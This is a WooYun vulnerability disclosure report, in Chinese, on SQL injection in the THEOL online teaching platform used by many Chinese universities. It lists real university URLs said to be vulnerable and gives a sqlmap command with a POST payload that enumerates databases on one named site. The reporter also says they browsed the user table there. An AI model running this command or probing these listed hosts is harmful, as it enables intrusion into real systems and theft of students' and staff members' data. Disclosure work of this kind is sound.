漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-073790
漏洞标题：theol网络教学系统SQL注入影响全国百分之80的大学
相关厂商：清华大学
漏洞作者： 547
提交时间：2014-08-26 17:32
修复时间：2014-11-24 17:34
公开时间：2014-11-24 17:34
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-08-26： 细节已通知厂商并且等待厂商处理中
2014-08-31： 厂商已经确认，细节仅向厂商公开
2014-09-03： 细节向第三方安全合作伙伴开放
2014-10-25： 细节向核心白帽子及相关领域专家公开
2014-11-04： 细节向普通白帽子公开
2014-11-14： 细节向实习白帽子公开
2014-11-24： 细节向公众公开
简要描述：
theol网络教学系统SQL注入影响全国百分之80的大学
详细说明：
上次提交没通过,说涉及漏洞的链接太少,这次改一改,重新提交.
THEOL是清华大学自主开发的一个网络教学平台,全国貌似基本上所有大学都在用,用谷歌搜了下,翻了好多页都没翻完
上面是使用该系统的学校,
下面列一下涉及漏洞的学校的url吧
http://jpkc.bsu.edu.cn/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452
http://www.eol.sdu.edu.cn/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452
http://eol.hgzyxy.com/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452
http://eol.ynufe.edu.cn/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452
http://cc.ustb.edu.cn/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452
http://aaol.imust.cn/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452
http://course.pkuschool.edu.cn/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452
http://jxpt.cuc.edu.cn/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452
中传媒的,貌似有好多妹子...
http://116.252.254.221:8024/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452
就列出这么多吧,还有很多很多...
漏洞证明：
下面以第一个北京体育大学为例吧,
POST型注入
sudo sqlmap -u "http://jpkc.bsu.edu.cn/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452" --data "chapter=0&field=1&keyword=e&knowledgeunit=0&restype=0&search=true§ion=0&Submit3=2%a8%a6%20%3f%a1%a5" --dbs
列库
表好多,我等不及了,就中断了,显示了158个
看看user表
看看内容吧,就一点,,,你们不介意吧
好多空啊.
修复方案：
版权声明：转载请注明来源 547@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：20
确认时间：2014-08-31 09:43
厂商回复：
最新状态：
暂无